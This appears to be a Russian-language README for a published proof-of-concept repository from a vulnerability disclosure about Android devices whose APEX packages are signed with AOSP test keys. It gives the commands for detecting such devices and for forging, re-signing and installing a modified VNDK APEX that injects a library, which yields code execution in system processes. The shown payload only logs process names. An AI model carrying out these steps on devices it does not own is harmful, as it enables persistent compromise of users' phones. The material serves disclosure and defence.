metaredteam/rtx-cve-2023-45779PoC-код для уязвимости повторного использования ключей APEX в Android
Этот репозиторий предоставляется КАК ЕСТЬ в дополнение к раскрытию уязвимости Meta Red Team X. Это не официальный проект Meta, и он не будет поддерживаться как официальный.
Набор скриптов и артефактов, демонстрирующих обнаружение и эксплуатацию Android-устройств, поставляемых с APEX, подписанными тестовыми ключами из AOSP. Полные подробности проблемы см. в нашем посте в блоге «Missing signs: как несколько брендов забыли защитить ключевую часть Android».
apex-checker/: набор Bash-скриптов для сохранения дайджестов известных тестовых ключей и массовой проверки APEX на наличие подписей этими ключами.apex-forger/: лёгкие обёртки вокруг инструментов apexer и deapexer из AOSP, упрощающие распаковку, изменение и переупаковку APEX. Как apktool для APEX.vndk-libt/: исходный код библиотеки, которую мы добавили в уязвимый APEX, чтобы доказать возможность выполнения кода. Всё, что она делает, — выводит в logcat командную строку каждого процесса, который её загружает.m apexer deapexer apksigner, чтобы собрать необходимые инструменты.envsetup.sh (тот, что лежит здесь, а не в AOSP), чтобы $AOSP и $ANDROID_HOST_OUT указывали на нужные пути.adb shell getprop ro.build.version.sdk и adb shell getprop ro.vndk.version.adb pull /system/apex/com.android.vndk.current.apex vndk.apex. Если нет — adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex, где <NN> — значение ro.vndk.version.apex-checker/check.sh vndk.apex. Если вывод не начинается с «OI» (что указывает на то, что и внешняя, и внутренняя подписи выполнены тестовыми ключами), этот PoC использовать нельзя (хотя это и не гарантирует безопасность устройства, поскольку другие APEX могут оставаться уязвимыми).Хэши в apex-checker/apk-keys.txt и apex-checker/avb-keys.txt соответствуют внешним и внутренним тестовым ключам для следующих APEX. Обратите внимание, что существуют также -goog-варианты этих двух списков, созданные Google после нашего первоначального отчёта. Эти списки в целом более полные, но мы точно не знаем, какие ключи в них содержатся.
apex-forger/unpack.sh vndk.apex vndk.libutils.so в извлечённом APEX, чтобы он загружал нашу внедрённую libt.so: git apply --directory=vndk vndk-libt/libutils-v31.patch. Если это не сработает (например, другая версия VNDK), с помощью hex-редактора вручную замените libc.so на libt.so в соответствующей записи DT_NEEDED файла vndk/payload/lib64/libutils.so.libt.so, запустив ndk-build внутри vndk-libt/. Скопируйте vndk-libt/libs/arm64-v8a/libt.so в vndk/payload/lib64/libt.so.canned_fs_config из apex_build_info.bp. Готового инструмента для этого нет: ближе всего подойдёт protoc --decode_raw <vndk/apex_build_info.bp с последующим ручным снятием экранирования поля #3. Поместите canned_fs_config в vndk/.canned_fs_config строку для /lib64/libt.so, как и все остальные.apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem}.adb install vndk/forged.apex.adb reboot && adb logcat -s RTXPoC:D.RTXPoC — каждое из них исходит из процесса, в котором мы можем выполнять код.